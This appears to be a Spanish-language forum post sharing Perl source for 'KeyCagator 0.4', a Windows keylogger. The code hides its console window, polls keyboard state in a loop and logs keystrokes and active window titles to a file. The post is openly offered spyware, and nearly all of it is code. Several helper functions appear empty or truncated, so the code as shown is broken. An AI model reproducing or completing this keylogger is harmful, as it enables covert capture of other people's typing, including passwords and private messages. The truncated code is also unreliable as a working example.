* Captura teclas reconociendo mayusculas y minusculas
* Muestra ventanas en las que se esta trabajando
Pocas opciones pero mejor la version anterior
Código
#!usr/bin/perl #KeyCagator 0.4 (C) Doddy Hackman 2010 # use Win32::API; my $come = new Win32::API("user32", "GetAsyncKeyState","N", "I"); my $tengo = 0; if ($^O eq 'MSWin32') { use Win32::Console; Win32::Console::Free(); } while (true) { capture_windows(); capture_keys(); } sub capture_windows { my $win1 = GetForegroundWindow(); my $win2 = GetForegroundWindow(); if($win1 != $win2){ my $nombre = GetWindowText($win1); if ($nombre ne "") { #print "\n\n[".$nombre."]\n\n"; savefile("logs.txt","\n\n[".$nombre."]\n\n"); } } } sub capture_keys { my $test1; my $test2; capture_windows(); for my $num(0x30..0x39) { #Numbers capture_windows(); if (dame($num)) { #print "number : ".chr($num)."\n"; } } if (dame(0x14)) { $test1 = 1; $tengo++; } for my $num(0x41..0x5A) { #Words capture_windows(); if (dame($num)) { if (dame(0x0d)) { savefile("logs.txt","\n\n[enter]\n\n"); } unless (verpar($tengo) eq 1) { #print "MAYUSCULA : ".chr($num)."\n"; } if (dame(0x10) or dame(0xA0) or dame(0xA1)) { #print "MAYUSCULA : ".chr($num)."\n"; $test2 = 1; } unless ($test1 eq 1 or $test2 eq 1) { if ($num >= 0x41) { if ($num <= 0x5A) { if (verpar($tengo) eq 1) { #print "MINUSCULA : ".chr($num+32)."\n"; } } } } } } } sub dame { } sub savefile { close SAVE; } sub verpar{ } #Credits : to explorer for helpme with the function verpar() #Mail : lepuke[at]hotmail[com] #Blog : doddy-hackman.blogspot.com # ¿ The End ?